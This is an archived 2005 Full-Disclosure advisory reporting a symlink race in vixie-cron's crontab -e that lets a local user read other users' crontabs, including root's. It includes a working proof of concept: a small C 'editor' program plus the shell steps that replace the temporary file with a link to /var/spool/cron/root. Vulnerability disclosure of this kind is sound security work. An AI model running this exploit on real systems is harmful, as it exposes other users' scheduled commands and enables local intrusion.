full-disclosure - crontab from vixie-cron allows read other users crontabs

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <4253B350.8000903@drumnbass.art.pl>
Date: Wed Apr  6 11:01:12 2005
From: appelast at drumnbass.art.pl (Karol Więsek)
Subject: crontab from vixie-cron allows read other users
	crontabs

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Name:			vixie-cron
Author: 		Karol Wi?sek <appelast@...mnbass.art.pl>
Date:			Mar 21, 2005

Issue:

crontab allows any user to read another users crontabs

Description:

Crontab is used to create special files used by cron to execute commands
at specified dates and times.

Details:

Insufficient checks allows user to change during edition regular file to
symbolic link to any file. While copying crontab uses root permisions,
but also checks entrys, so attacker is only able to read properly
formated crontab files (another users crontabs).

Exploit:

[appelast@...a ~]$ crontab -l
[appelast@...a ~]$ cat c.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main(int ac, char *av[])
        {
        int pid;

        if (ac>1)
                printf("%s\n", av[1]);
        pid = fork();
        if (pid)
                execl("/bin/bash","bash",0);
        if (pid>0)
                wait((void*)0);
        return 0;
}
[appelast@...a ~]$ export EDITOR=/home/appelast/c
[appelast@...a ~]$ crontab -e
/tmp/crontab.XXXX63oldL
[appelast@...a tmp]$ unlink /tmp/crontab.XXXX63oldL
[appelast@...a tmp]$ ln -s /var/spool/cron/root /tmp/crontab.XXXX63oldL
[appelast@...a tmp]$ exit
crontab: installing new crontab
[appelast@...a ~]$ crontab -l
* * * * * /bin/true
[appelast@...a ~]$


Vulnerability was tested on Fedora Core 3 with vixie-cron-4.1-24_FC3
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFCU7NQFTSet8AbQUQRAuAuAJ9CdR/LD5nO8778E71GpT2ZyTDHCQCgh1+I
mvIisw6+p8XQd/ReiRwKyfo=
=KQq/
-----END PGP SIGNATURE-----